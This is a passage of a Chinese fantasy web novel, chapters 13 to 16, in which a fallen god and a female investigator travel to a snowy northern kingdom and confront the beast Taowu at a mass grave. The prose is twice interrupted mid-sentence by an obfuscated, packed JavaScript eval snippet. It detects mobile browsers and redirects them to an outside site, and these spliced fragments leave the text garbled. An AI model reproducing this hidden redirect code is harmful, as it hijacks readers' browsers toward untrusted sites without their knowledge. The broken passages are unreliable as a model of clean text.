“哈哈哈,哎呦!你也太记仇了吧!”云崖笑着躲避。 “说正事,别卖关子。”欧阳绯珞指了指云崖胸口。 “好,好,”云崖正色道:“我发现趋使这些活尸的是某种妖力。” “妖力?”欧阳绯珞道:“它怎么做的?” 云崖:“这法子简单的很,对方将妖力注入尸体,再利用这些士兵到死都想要归乡的执念,就实现了活尸半夜出现在烬余村的景象了。” 欧阳绯珞:“那现在能确定的是烬余村出现的活尸原本都是那个村子里出来的男子。” 云崖:“没错,可大胤的兵士却身穿北溟战甲,嘶~这事儿还挺诡异的。” 欧阳绯珞:“不能再用一次读取记忆的术法吗?” 云崖失笑:“不是我不想用,只是我这个术法有限制,只能用在活物或者活物接触过的物品身上,像这种连魂魄都没有的死物,我无能为力。” 欧阳绯珞沉默半晌,而后开口道:“我有个猜测,既然活尸身穿北溟战甲,那这个案子一定同此地有千丝万缕的关联,说不定就是敌方故意挑衅。” 云崖托腮:“嗯,有道理。” 可是接下来,要怎么做呢? 两人踌躇之际,云崖突然在身后感受到了一股力量,那力量既纯净又繁杂,像是两种灵力的混合。 “欧阳,随我来。” 云崖跟随灵力感应,找到一座坟墓,只见上面刻着将军冢三个字,这个墓相比其他更加破败老旧,历经风霜的样子一看就有些年头了。 兴许是这片土地经历了太多战争的碾磨,坟墓下有一半头骨冒了出来。 云崖俯身将那头骨挖出来,只见上面刻着一行字:奉梼杌命屠村。 欧阳绯珞:“奉梼杌命?” 云崖:“据我所知,历史上梼杌屠村的地点,如今在北溟的万人冢。” 欧阳绯珞:“看来,无论如何,我们都得去一趟了。” “等等,”云崖摆弄着头骨,随后开口道:“这字迹有术法烧灼的痕迹。” “哪里?”欧阳绯珞贴近云崖 “这儿,看到了吗?” 两人靠得极近,呼吸交错,远看就像云崖将欧阳绯珞搂进了怀里。 云崖指向“梼杌”二字:“你看,这两个字的着色明显和其他字不同。” 欧阳绯珞虽然肉体凡胎,但对神术妖法颇有研究,她只看一眼便福至心灵:“所以,真凶说不定还藏在幕后。” 云崖打了个响指:“没错。” 欧阳绯珞:“不过,或许是凶手故意设计引我们误会,这背后有什么计谋就不得而知了。” 云崖搭上欧阳绯珞的肩膀:“行了,幽息丸要失效了,继续站在这里瞎想也不是办法,不如直接去北溟报道,探探虚实。” 欧阳绯珞:“嗯,当下也只能这样了,但去北溟得先拿到典客司的文书,发文书又得经过陛下准许。” 云崖:“呵,两国打成这样,走官方通道能行吗?别到时候来个寻仇的把咱俩活埋了。” “瞎想什么呢?”欧阳绯珞捶了他一拳:“又不正经了。” 云崖呵呵一笑:“我是看你太严肃了,就想活跃下气氛,哎!别总皱着眉头,放轻松,有我在肯定不会让你埋雪里的。” 欧阳绯珞翻了个白眼:“那我还真是谢谢你了。” 云崖满意点头:“不客气,走吧。”说完一用力把欧阳绯珞托上马背。 “去哪?”欧阳绯珞吓了一跳,歪歪扭扭地调整坐姿。 “当然是面见你那心心念念的皇帝老儿喽,”云崖眨眨眼:“不然还能去哪?” 欧阳绯珞挑眉道:“你这话说的怎么听起来这么的......别扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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化作凡人模样的云崖转动漆黑眼眸道:“既然如此,不如以此次查案为契机,主动向北溟抛出求和的橄榄枝?” 皇帝看向云崖,眼前这个青年虽乌发白肤,看起来很是乖顺,但能看出此人内里的力量和骄傲是不容小觑的。 或许这两人是不错的选择。 皇帝从上到下缓缓扫视云崖,紧接着开口道:“朕也是这么想的。” 云崖:“那便请陛下拟圣旨吧。“ 欧阳绯珞看了云崖一眼,没敢吱声,毕竟哪有臣子催帝王下令的,这成何体统。 可皇帝却似乎不甚在意,他坐到龙椅之上,几笔就撰出了一份圣旨。 “徐惩。” “臣在。” “把这份圣旨送至典客司。” “诺。” 徐惩接过圣旨,转头对两人道:“两位大人同臣一同前去吧。” “好。” 两人应声,向皇帝告退后,跟随徐惩前往典客司。 典客司 “张大人接旨!” 徐惩站在门外,尖细又高亢的声音从嗓子眼挤了出来。 门外侍卫前去通报,不一会儿一位皮肤白皙的青年人急匆匆走了出来,他规矩地跪拜在地,听从发落。 徐惩:“奉天承运,皇帝诏,曰:近来北境战事逐渐明朗,朕心存仁厚,以和为贵,决意派欧阳绯珞和云崖携粮草万斤,以使者身份拜访北溟,走访文书由典客司开具,钦此。” “接旨吧。” 青年双手呈上:“臣领旨。” 他本想招待一下欧阳绯珞,但云崖表示事关紧急,青年也只好作罢,提笔拟好文书,盖上官印,交给了二人。 徐惩:“大人一定把文书收好,此行艰险,还望多多珍重。” 说完向欧阳绯珞弯腰行了一礼。 “您放心吧,有兄长在,我不会出事的。”欧阳绯珞也回一礼,转身随云崖坐上提前备好的马车,携几车粮草前往了北溟。 14. 第十四章 北溟,一个坐落于万里雪原,终年被灰雾笼罩的国度,其主城建于冰川裂谷之上。 那里的冷和大胤不同,大胤属中南部地区,冬季天气更多的是湿冷,而北溟地理位置偏东北部,相较大胤更加干燥冷冽,当地居民冬季出门在外,呼吸时,呵出的白气会瞬间凝结成细小的冰晶,若不加以防护,吸入过多甚至会导致肺部结霜。 每年冬季,太阳几乎不露面,空中唯有一轮血月悬挂,将雪原映出一片暗红。夏季虽然极其短暂,但白昼很长,阳光却毫无温度,像一柄冰冷的银刀悬在头顶。 如今是初秋时节,白昼逐渐变短,黑夜又悄悄拉长。 欧阳绯珞和云崖度过关口,顺利进了北溟主城——霜北城。 欧阳绯珞哈着气,搓搓手心:“这里和外面简直是两个世界,刚进来就体感气温直降十度。” 云崖翻腾着大大小小的包裹,找到一件狐狸毛的红棕色厚外袍,披在了欧阳绯珞肩上。 “快穿上吧,”云崖道:“不然就你这小体格,还没开始查案就先冻成冰块儿了。” “我哪有那么弱,”欧阳绯珞抱怨了一句,却还是听话地披上了狐裘。 云崖笑了笑,继续翻找衣物,打算自己也套件棉袄,找了半天却也始终找不到合适的,无奈之下,他随便搜出块粉色的绸缎,快刀斩乱麻,一眨眼的功夫就施法搞出件外袍,他也不介意这颜色是否适合他这样的男性,直接套上了事。 欧阳绯珞在一旁闭着眼昏昏沉沉的,几乎没发现他的搞七搞八,等再注意到时,已经迟了。 “你上哪找了件粉衣服啊?”欧阳绯珞揉着眼睛上手摸了摸:“材质不错啊,还是丝绸的,可是这保暖吗?” 云崖无所谓道:“哦,刚才翻了半天没找到合适的,就顺手找了块布现做了一件。” 咔呲,欧阳绯珞只觉得空气里有什么裂开了。 她盯着这件衣服左看右看,而后艰难开口:“随......随便找了块布?哪找的?” “就你那个灰包裹里啊,压在最底层,我翻了半天呢。” 晴天霹雳,欧阳绯珞脑袋嗡鸣,一把揪住云崖衣领怒道:“这是我这次来京城特意买给自己的特级绸缎啊!钱我都攒了好久,你怎么说用就用了?亏我还想做身裙装穿,这下全毁了!” “是......是吗?”云崖瞳孔地震,大脑飞速运转:“那......那我脱下来......还你?” 说着就把外袍褪了下来,双手捧着交给欧阳绯珞:“喏,给你。” “你都剪地乱七八糟了,这还怎么穿啊?”欧阳绯珞一把夺过来,然而越想越气,竟然不争气地红了眼眶,眼泪像决堤似的簌簌落下。 “哎哎哎,你别哭嘛,”云崖还是第一次把女孩弄哭,一时手忙脚乱起来,肚子里的妙语连珠也泄个精光,只会笨拙地让对方别哭了。 欧阳绯珞抹着眼泪:“你的花言巧语呢?” 云崖挠挠头,不好意思道:“还不是因为你哭起来梨花带雨,美得我大脑一片空白,都不知道说什么好了嘛。” 欧阳绯珞心知云崖是故意讨巧哄她的,但想到自己辛苦挑的丝绸被臭男人做了局,便更伤心了,她一边啜泣一边道:“这款粉色是......是稀有色,下次......不知道什么时候再......再有。“ 云崖听出来她这次是动真格的了,打保证的话到嘴边又咽下去了,就算他去原摊位买,鬼知道猴年马月才能碰上稀有粉啊! 没办法,为了不让欧阳绯珞失望,他打了半天腹稿,最后却只憋出来一句:“我......我给你买。” 欧阳绯珞继续垂泪,眼角鼻尖都红红的,他着急忙慌地想为欧阳绯珞擦眼泪,又想把她搂进怀里呵护,最后因为莫名的羞耻感放弃了,只是蹲在欧阳绯珞身旁给她递帕子,眼巴巴的样子像一只摇着尾巴的忠犬。 云崖:“放心吧,我肯定会赔给你的。” 欧阳绯珞抬眸:“必须是一样的。” “好,”云崖咬咬牙,不就是跑跑腿的事儿吗,把整个京城都跑遍,他就不信找不到。 “这还差不多,”欧阳绯珞接过手帕,擦干眼泪,深呼吸调整情绪,云崖回到她身旁坐下,见她终于被哄好了,也算松了口气。 这是欧阳绯珞第一次情绪如此外露,还是在自己面前,云崖虽然不知所措,内心却也暗暗生出一丝莫名的甜蜜。 这要是被她知道了,一定会打我吧,云崖看了她一眼,收回繁杂的思绪,打算换换脑子。 他掀开车帘,想观望一下北溟的风土人情。虽是初秋,但人均身着动物皮制成的衣物。车夫见云崖好奇,便主动担任起解说员。 车夫:“那是雪狼皮做的衣服,等到了冬天,人们为了御寒,内衬会穿鱼油浸泡过的厚麻布。” 云崖:“师傅,您为何对这里这么了解啊?” 车夫笑道:“以前没打仗的时候,我在这里生活过。” “这样啊,”云崖望向街上的百姓,只见一群打闹嬉戏的女子都用红色的麻绳编起辫子。 车夫:“那是这里的习俗,北溟女子成年后会用染血的麻绳将头发编成辫子,象征以血御寒,同时也是成年的标志。” 他继续道:“由于这里常年覆盖冰雪,为了防止雪盲,猎户会佩戴透明冰晶片,边缘还刻着防煞的符文。” 云崖点点头,自觉对北溟这个雪国有了更进一步的认知。 路过一个卖鞋的摊位,车夫连忙停下马车,他扭头对车内两人道:“备两双铁齿靴吧,这靴底嵌着铁钉,在冰面上走能防滑。” 云崖爽快答应了下来,他示意欧阳绯珞下车,两人来到摊位前,云崖道:“店家,靴子怎么卖?” 店家是个还未及笄的少女,她熟练地把当季新品推出来,陪着笑道:“郎君和姑娘这么登对,不妨就买一对一样的吧。” 欧阳绯珞心想:又来?她想起刚到京城那个卖花的小女孩,这俩小姑娘是串通一气了吗?怎么卖个东西还要拿他俩打趣?现在的孩子到底整天在想什么呦? “我看成!前路凶险,买一对也吉祥,”车夫也来煽风点火:“刚才你俩不还在车上打情骂俏吗?怎么现在反倒生疏起来了?”他撞了下云崖的胳膊:“哎,人家姑娘害羞,你个大男人倒是表个态呀。” 云崖难得面上有些挂不住,他咳了两声,装腔作势道:“那就把那两双棕色的皮靴包起来吧。” “好嘞!”一下卖出两单,还是新货,少女兴奋地过头,她用布袋将皮靴装好,恭敬地递到云崖面前:“郎君,您收好。” “好。”云崖接过袋子,给了对方两枚银币。 少女高高兴兴地接过,看样子似乎可以提前收摊儿了。 欧阳绯珞无语片刻,穿什么皮靴无所谓,是不是对靴也无所谓,她就是不明白,为什么这帮人会默认他俩是一对儿呢?难道她和云崖...... 两人上了马车,欧阳绯珞默默盯着云崖,又拿铜镜照了照自己的脸。云崖皮肤白皙,鼻梁高挺,下颌骨锋利,一双金瞳也很夺目,完全是个美男子。自己嘛,虽然是圆脸,但乌发杏眸的,从小也受尽夸赞,自然也不差。欧阳绯珞本就身量修长,但站在云崖身边踮着脚也只能够到对方下巴...... 或许在外人看来,单论外表,两人确实还算登对吧...... 马车颠簸了一下,把欧阳绯珞颠醒了,她晃晃脑袋又拍了拍脸:我干嘛要琢磨这种无聊的事情呢,虽然云崖目前来看对自己不错,但他一介堕神,又失忆了,身世绝对不简单,不知道还有多少事情瞒着她,在无法掌控这个不确定因子之前,欧阳绯珞不允许自己沦陷。 又缓慢行驶了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164179|180646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段路,只听车夫一声:“吁~”,马车停了下来。 “到了,”车夫掀开车帘:“两位下车吧。” 云崖和欧阳绯珞背上包裹,先后下了马车,矗立在他们面前的是一座高耸的纯白王宫,和周围的雪景几乎融于一体。 宫门前把守着四名魁梧男子,几人把长矛一横,拦住了两人的去路。 “干什么的?”其中一名大胡子男开了口。 欧阳绯珞:“奉大胤帝王之命,携粮草万斤前来求和,还望官爷放行。” 说完便拿出了官方文书,大胡子男看不懂汉字,正想把他们赶出去,身旁一兵士阻拦了他,耳语几句,大胡子男挑挑眉,随后下令放行,兵士们把粮草运下去,另外几人客气地把欧阳绯珞和云崖带向王宫内部。 来到正殿,士兵通报后便将两人带了进去,虽然雪原之国,冷是很正常的,但是一进大殿,欧阳绯珞就感到一股温热的气息迎面扑来,驱散了身上冻结的冷。 王座之上自然是北溟的君主,即便在温暖的室内,他依旧在外披着一层貂皮制成的外袍,头戴金色王冠,双手拄着一只银白色拐杖,双鬓已花白,虽不再年轻,但岁月赋予他稳重的气质,眉间尤藏一股杀伐之气,君王强大的气场不容忽视。 在他身旁站着一位三十出头的年轻女子,此女容貌秀丽,身着华服,举手投足间布满温柔的神韵,那气质绝不是无名之辈能拥有的。 欧阳绯珞和云崖以大胤的礼仪弯腰一拱手,君主颔首,示意二人不必拘泥于小节。 “听闻大胤意图求和?”君主开口道:“你们的帝王到底在打什么主意?” 欧阳绯珞道:“君主,我们的陛下认为比起征战劳民伤财,不如两国合作,取长补短。” 君主:“哦?如何合作,说来听听。” 欧阳绯珞:“北溟长年严寒,光照不足,因此缺乏果蔬庄稼,但畜牧业却极为发达,而大胤因地理位置的缘故,果蔬庄稼长得极好,畜牧业却是短板,因此大胤的帝王认为两国可以协商互助,补足短板,共同发展。” 君主沉默半晌,他看了眼身边的女子,女子微微点头,示意可行,君主也颔首,而后道:“你们的提议,我会酌情考虑的。” 他转念道:“我听闻大胤边关走尸案闹得沸沸扬扬,你们这个节骨点来我的地界,怕是不单单为了求和这一件事吧。” 云崖笑道:“不愧是君主,这都猜出来了,那我们长话短说。” 云崖将事件的起因,经过以及和万人冢的关联都陈述了一遍,君主还未答话,那女子却先道:“万人冢?你说的是10年前的梼杌屠村?” 云崖:“没错,怎么,这位姑娘似乎知晓些内幕?” 女子哽咽道:“10年前,我的爱人就死于那场屠村案。” 欧阳绯珞:“您的爱人?” 女子:“是的,他是一名优秀的将军,也曾是我的未婚夫君。” 云崖:“那这位姑娘是否愿意同我们走一趟万人冢,调查真相呢?” “我......” “嫣然,为父怎么跟你说的,你全忘了?” 女子跪在君主面前:“父亲,10年前您阻拦了我,可是这么多年过去了,如今又有新的受害者出现,女儿岂能袖手旁观,女儿想去不只是为了他,身为北溟公主,女儿也想为百姓做些什么啊!” 欧阳绯珞:原来她就是嫣然公主。 君主从小就疼爱这唯一的女儿,现在见她执拗地跪在自己面前,慢慢的,他的心也裂开了一条缝,阳光透过这条缝隙钻了进去。 10年了,君主想,或许是该做个了结了。 君主摸着嫣然的脸,怜惜道:“若这是你想要的,那便去吧,只是要保护好自己。” “嗯!谢谢父亲成全!“嫣然抚上父亲的大手,眼泪不争气地流了下来。 15. 第十五章 嫣然公主擦干眼泪,回闺房换了一身简洁的裤装,出来后整个人焕然一新,眼神中的优柔寡断一扫而空,墨绿的双眸闪着犀利的光,像宝石的天然火彩。 “父亲,我们去了,”嫣然双手交叠在胸前,微微弯腰行了一礼。 君主拄着拐杖起身,踩着几级阶梯,来到女儿身边,他沧桑的手轻轻抚摸着公主的脸,担忧道:“万人冢冤魂肆虐,凡人进去需要术法护体,否则会迷失心智,甚至被亡魂夺舍。” 嫣然:“父亲不必担忧,女儿早已备下清斋大师授予的护身符,不会有危险的。”说着把护身符从腰间拿出,还分给了欧阳绯珞和云崖。 “不够,”君主抬起银白拐杖敲了一下地面,脆响悠长的的声音过后,只见一层层银白波纹弥散向四周,将欧阳绯珞一行人包围在其中,接触的刹那,晶莹的波纹从脚底蔓延直达头顶,将几人全身都包裹上一层银白色的薄膜,轻触之下还会有雪花状的碎星簌簌下落。 欧阳绯珞转了一圈,疑道:“君主,这是什么?” 君主道:“我下的术法,能暂时替你们阻隔冤魂入侵,时效两个时辰。” 嫣然无奈道:“父亲,您何必如此?” 君主怜惜地看着自己的女儿道:“此地凶险,多一层防护,为父才会心安。” 他握住嫣然的手,珍重开口:“女儿啊,10年前为父为了你的安危,不准你去找他,这件事一直横亘在我们父女俩中间,这些年来,为父能感受到你的疏远,直至今日,你是不是依旧怨恨着父亲当年的武断呢?” 嫣然垂眸不语,她叹息一声,仰头直视面前不再年轻,却一直尽力为她遮风挡雨的男人。 “说不怨是假的,”公主低声道:“我有多爱他,父亲您是知道的,当时知晓他的死讯后,女儿只是想能亲自去一趟万人冢,再同他见上一面,哪怕是尸骨也无碍,可是,您不仅不允许,还将女儿关了七天禁闭。” 嫣然:“我有多痛苦,父亲难道感受不到吗?” 君主握住嫣然的手更紧了,她能感受到父亲微微发颤的身子。 “嫣然啊,为父对不起你,”君主将女儿抱进怀里,轻轻拍着她的背:“过去很多事,为父都做得都不妥当,以为是在保护你,但其实伤了你的心,为父很抱歉。” 他凑到女儿耳边低声道:“这些年,为父一直想弥补你,但你的逃避令我无所适从,每当深夜,为父都会频频想起小时候的你同我亲密无间的模样,现在,你长大了,虽然依旧不够成熟,但既然命运的洪流把你推到了这里,我想,是时候放手了。” 嫣然第一次听到身为君主的父亲的肺腑之言,她眼眶湿红,下意识抱紧对方,头像小时候一样埋进父亲宽阔的胸怀里。 “父亲,谢谢您,”嫣然哽咽道:“不管过去您做过什么,我都爱您。” “好,好,”君主眼前模糊一片,这一刻,他眼前浮现出年幼的嫣然冲他撒娇,扑进他怀里的可爱模样。 没变,她心爱的女儿其实一点都没变。 三人告别君主,前去当年梼杌屠村地——如今的万人冢。 马车上,嫣然开口道:“这些年,虽然我从未被准许前去此地,但并非一无所获。” 云崖:“哦?说来听听。” “我偷偷同清斋大师学了回溯之法,等到达万人冢,便可通过回溯10年前屠村那日的景象,了解来龙去脉。” 欧阳绯珞:“那可好,云崖可施法读取记忆,但前提必须是有魂的活物或者活物接触过的东西,公主既可回溯死者,那便帮了我们大忙了。” 云崖也笑道:“那就劳烦公主殿下了。” 嫣然一笑了之,想到马上能见到过去爱人的亡魂,心中五味杂陈,眉间又染上丝丝忧愁。 谈话间,万人冢到了。 三人下了马车,由于此地先前冤魂震荡,为了防止凡人受到波及,君主曾下令术士封印,因此欧阳绯珞一行人目前只能站在村口,说是村口,面前早已没了村子的样貌,所有事物均被夷为平地,只剩无数坟墓立在其中,放眼望去,和落雪的北境战场极为相似。 面前封印的术法呈现出淡紫色,欧阳绯珞试探着摸了一下,触感柔软黏腻,显些把她恶心吐了。 嫣然:“术师们当初下的封印本不是这样,但时间久了,它也会受亡魂的影响。” 云崖:“若不破坏封印,我们怎么进去?” 嫣然笑道:“你们身上不是我的护身符吗?只要带上它,就可以随意出入封地。”说完,她一个闪身便突破封印,走了进去。 “这么神奇么?“欧阳绯珞将信将疑,她把护身符握在手里,另一只手缓缓往前够,接触的刹那突然感到一股吸力,随后整得人都被带了进去。 云崖耸耸肩,也一个侧身滑了进去。 嫣然:“看吧,我没骗你们吧。” 欧阳绯珞点头应和一声,随后三人前往墓地中心。 随着三人深入,亡魂的哀嚎声愈来愈大,愈来愈多,那声音似野兽的咆哮,却极度愤怒和悲伤,欧阳绯珞甚至能感应到有什么东西在拉她的手,扯她的外袍,她甩甩衣服,那些亡魂便会散到一旁,然而没多久就又围了上来,到最后欧阳绯珞被牵扯地连站稳都成问题了。 云崖走在她前面,早便发现她的不对劲,但他私心想捉弄对方,就假意没发现,继续目不斜视地往前走。 直到—— “云崖,”一声微弱的呼喊传入云崖耳朵。 欧阳绯珞浑身发沉,只觉得那些小鬼攀上她的肩膀,把她压地喘不过气。 “云崖,帮帮我。” 欧阳绯珞还是第一次主动要云崖帮他,云崖本意只是捉弄她,并不是想借此逼她向自己示弱或者怎样,他一直觉得每个人都有自己的处事方法,无需刻意去改变对方,让对方迎合自己的喜好,这种行为是极其自私且不尊重人的。 云崖转身一看,欧阳绯珞正拄着青虹剑,气喘吁吁地定在原地,他疾走几步,指尖捻法,一道金光打过去,尖啸声过后,欧阳绯珞全身都轻松了不少。 云崖牵起对方的手:“离我近一些,他们不敢招惹我。” 欧阳绯珞点头应声,两人紧紧拉着手,跟在嫣然公主身后。 来到墓地中心,嫣然抽出两张黄色符纸,她咬破指尖,将渗出的鲜血粘在符纸上,两指夹紧,闭目念诀:“千骸铸镜,万煞凝形,往昔斑驳一一现其踪!”她将符纸抛向空中,幽蓝的火焰将其燃烧殆尽。 下一刻,空中出现无数各色微小粒子排列组合,渐渐营造出一个个清晰的影像。画面中首先出现妖兽梼杌,只见它人面虎身,嘴边伸出野猪般的獠牙,巨尾一甩能横扫千钧。 紧接着,画面一转,梼杌踏足这片土地,它发出震耳欲聋的吼叫,巨大的身躯掀翻屋顶,咬死家畜,生生活剐了落跑的农民,人群的尖叫声响彻云霄,血花飞溅,碎肉横飞,染红了地上的积雪,活脱脱的人间炼狱。 嫣然从未上过战场,自也未见过妖兽杀人,她只觉得胃里一直 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眼前这一幕过于残忍,嫣然踉跄几步,瘫坐在了地上,整个人像被抽干了精力的枯槁老树。 欧阳绯珞把她搂进怀里,不断地安慰着,抚摸着她的背,想让她好受些,然而也只是杯水车薪。 画面到这里就中断了,紧接着地面发出轰隆几声震动。 欧阳绯珞稳住身形,她诧异道:“发生了什么?” 云崖目光如炬,只见四周坟墓纷纷伸出只剩白骨的双手,死去的百姓似乎是应了什么召唤,一个个骨架从土里爬了出来,飘飞的亡魂像蚊子见了血,找寻着属于自己的骨头附身了上去。 “是梼杌,杀了我!” “那妖兽作恶多端,噬血残忍,请仙人帮我讨回公道!” “呜呜呜,我死得冤枉啊!” 数十架白骨跪在欧阳绯珞一行人面前,发出啜泣和低吼。 嫣然:“云崖,你能帮我找到我爱人的尸骨吗?” 云崖:“能试一试,但你有他生前用过的东西吗?衣物之类的都可以。” “有,”嫣然从怀里拿出一枚夜明珠:“这是我们的定情信物,这些年,我一直带在身上。” “可以,”云崖小心接过夜明珠,指尖轻轻一点,金色的灵流瞬间包裹住珠身,他将珠身残留的记忆气息引渡出来,利用灵力散发到周围,晶莹的金色光点从空中降落,覆盖了整片封地。 云崖:“若这里面有他的骸骨,是会和这记忆光点产生反应的。” 嫣然深鞠一躬:“多谢!”随后,她抬眸一圈又一圈地扫视着四周的白骨群,然而这些白骨却却像刚才一样始终跪拜在地,完全没有任何异常的变化。 欧阳绯珞凑到云崖身边小声开口:“云崖,是不是哪里出问题了?” 云崖却不以为然:“再等等。” 渐渐的,金色光点落到了云崖一行人身上,出乎意料的是,云崖怀里竟然发出了点点闪光。 “什么?”云崖也懵了,他从怀里掏出那枚从北境战场带回来的头颅,只见额上面闪着晶莹的亮光。 “竟然是他?”云崖开腔道:“公主,不必找了,他就在这里。” 嫣然几个疾步来到云崖身边,小心地捧起那枚头骨,震惊道:“他怎么会在你这里?” 云崖耸肩:“您倒问住我了,我也想知道。” 是啊,死于10年前万人冢的北溟大将,为何会在10后出现于北境战场,这期间发生了什么?又有何阴谋? 16. 第十六章 云崖双眸透出兴奋的光:“事情变得有意思了。” 嫣然颤抖地接过颅骨,将其紧紧搂进怀里,她哽咽道:“这么多年,我的祈祷是有用的对吗?你看,我终于找到你了。” 她乌发垂落鬓边,苍白的脸贴近那块颅骨,晶莹的泪一滴滴落在“奉梼杌命屠村”几个字上,有种冲击的诡异的美。 欧阳绯珞想安慰嫣然,又不知该如何做,抬起的手又悄然垂落了下去。 突然,云崖敏锐地嗅到一丝异样的力量,他金瞳骤缩,望向源头,只见公主依旧在垂泪,泪水也依旧滴落到“奉梼杌命屠村”几个字上。 自北境战场起,云崖就在那颅骨上感受到一股纯净的力量,如今那力量似乎在逐渐崩解,又似乎在对抗着什么,他将视线锁定在那六字之上,只见本就着色不同的“梼杌”二字竟然在泪水作用下越来越模糊。 “失礼了,”云崖一把夺回颅骨,紧盯着上面的文字,本以为会变幻出新的线索,然而只是消磨掉“梼杌“二字,并没有别任何多余的呈现。 欧阳绯珞惊讶道:“怎会如此?公主殿下,难道您的眼泪......” 嫣然哭地双眼发酸,好像从见到她开始,她就一直在流泪,她抹掉泪水,注视着文字的变化,表情从惊讶转换为释然。 “其实,”冷风拂过,万骨哭嚎,嫣然立于雪原之上漠然开口:“我并非母后亲生。” 欧阳绯珞皱眉:“并非亲生?那是何故?” 嫣然:“事已至此,告诉你们也无妨。君主的妻子因为没有生育能力,所以领养了我,而我的父母20年前死于战火之中,他们是为北溟立功的英雄,君主可怜我无依无靠,因此收养了我。” 云崖:“这和您的能力有什么关联吗?” 嫣然苦笑一声:“我的能力遗传自母亲,流的泪有净化术法的功效,可以将原本利用术法藏匿的部分现出原型。” 欧阳绯珞看着那字迹疑惑道:“可是,颅骨之上并未显影出什么啊?” 嫣然看向云崖:“这位郎君刚才就感受到了吧,颅骨之上围绕着一股力量,就在刚刚,我虽然瓦解了它的一部分,却因术法凶猛,且与我相克,因此以我的能力只能做到这一步,而无法塑造出其原貌。” “这样啊,”欧阳绯珞若有所思。 一旁的云崖打了个响指:“公主不妨再用一次回溯之法?” 嫣然点头应声:“可以。” 她拿出黄色符纸,对着那颅骨再次念诀,意料之中,空中再度呈现无数各色粒子,渐渐聚拢排列组合。 三人全神贯注,正欲窥探一二,然而颅骨之上突然冒出一股强劲的灵力,灵气化为锐利的剑光,直刺嫣然! “公主当心!”欧阳绯珞飞扑向嫣然,抱住她倒在地上,堪堪躲过一劫,剑光击中地面,将厚雪灼烧出一个圈。 空中的粒子排列也被打破,五颜六色的粒子四散消弭。 回溯失败了。 “欧阳,你没事吧?” 云崖将欧阳绯珞和嫣然扶起来,确定两人都没受伤才松了口气,他道:“看来这头颅大有文章。” 嫣然失落地叹息一声:“怪我学艺不精,帮不上你们的忙了。” 欧阳绯珞:“没关系,您已经尽力了。”她转念对云崖道:“现在看来,唯一能确定的是梼杌虽犯下屠村罪孽,却并非最终的幕后黑手,真凶另有其人。” 云崖点点头:“要揪出幕后黑手就得从梼杌下手,可惜我们没有它的线索。” 欧阳绯珞一时陷入沉默,她思索片刻后开口:“云崖,你还记得在北境战场上,那些活尸无魂吗?” “当然记得,”云崖刚想问怎么问这个,却福至心灵:“你的意思是......” 欧阳绯珞:“若活尸案也是梼杌所为,那些尸体的亡魂说不定便是它吞噬的。” “小娃娃有两把刷子。” 一道低沉的声音自空中传来。 “谁!?” 欧阳绯珞和云崖背靠背,做好备战姿态。 神奇的是,先前消弭的彩色粒子竟像被什么操纵一般聚集融合,构建出骨肉血脉,渐渐的,一只人面虎身的巨兽出现在三人面前,它自空中一跃而下,金黄色的眸子亮得骇人。 “现身了?” 嫣然怔怔看着眼前的妖兽,一时失语。 欧阳绯珞眼疾手快,拿出金皮天书,徒手写下一个“冰”字,下一刻,万千飞雪化作锋利的冰柱,将梼杌团团围住,日光照射下,冰尖散发危险又刺目的光。 “去吧!” 欧阳绯珞一声令下,无数冰柱飞刺向妖兽! 千钧一发之际,梼杌几个翻身闪躲,轻巧避开了袭击,它三步并作两步,一瞬间便出现在欧阳绯珞面前,巨大的瞳仁几乎要贴到她的脸上。 “尔等皆为棋子。” 梼杌嘴唇嗫嚅,轻声吐出几个字。 就在此时,云崖一手挡在梼杌和欧阳绯珞中间,掌间聚力,“轰”地一声将梼杌冲击得后退了几步。 妖兽稳住身形,看向那两人,只见云崖将欧阳绯珞挡在身后,满脸警惕。 云崖:“你刚刚那句话是什么意思?” 梼杌正欲再言,众白骨却纷纷然起来。 “就是它!是它杀了我!” “你......你竟然还敢来,不怕遭报应吗!” “还我命来,还我命来!” 亡魂嘶吼,冷风呼啸,飞雪萧瑟,虽然天气严寒,欧阳绯珞却感觉自己的心更是雪上加霜,凉了个透底。 就在两方僵持不下之际,梼杌突然纵身跳到众多白骨之中,它巨尾横扫,无数白骨瞬间倒地,它一爪压在其中一具叫地最欢的骨架身上,俯身沉声道:“杀你又如何,就是你的魂,我也不放过!” 说罢,梼杌一张口,身下亡魂惨叫着,从白骨之上被狠狠撕扯了下来,化作一缕青烟,转瞬便被那妖兽吸入了口中,吞咽下去。 空气静了片刻,啊啊啊—— 白骨群尖叫着乱成一团,一个个四散奔逃,然而眨眼的功夫,梼杌便不知怎的化出一张金色巨网,将那白骨群死死按住,动弹不得分毫 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云崖拽紧欧阳绯珞:“欧阳,当心,这雷电怕是不普通,公主殿下,你赶紧到那边的石山躲一下!” 嫣然应一声好,便躲进了石山内。 欧阳绯珞手捧天书,目光炯炯,书页翻到穷奇那一页,口中念道:“应吾之令,穷奇现!“ 下一刻,书页散发金光,一道穷奇的巨大虚影从书页中飘飞而出。 空气一瞬凝滞,紧接着,虚空之中,万顷雷电劈向二人!无数道闪电密集地如同雨点,将欧阳绯珞和云崖层层包围,形成一道雷笼,雷笼逐渐缩小,那架势势必是要将两人狠狠教训一番。 当然,欧阳绯珞这边也不是吃素的,只听她挥手一声令下,虚影穷奇张开口,爆发出巨量声波,生生击碎了雷笼,化为万千金色的齑粉,飘散到空中。 然而攻击还未停止,数道雷电再度劈来,由于过于密集,靠穷奇一只妖兽顾及不得,欧阳绯珞便手持青虹剑,此剑由先辈守书人传承,有劈山镇海之力,只见她一剑挥去,绯色剑气便击散周围雷电,连带积雪都被削了一大片,露出荒芜的,烧焦的地面。 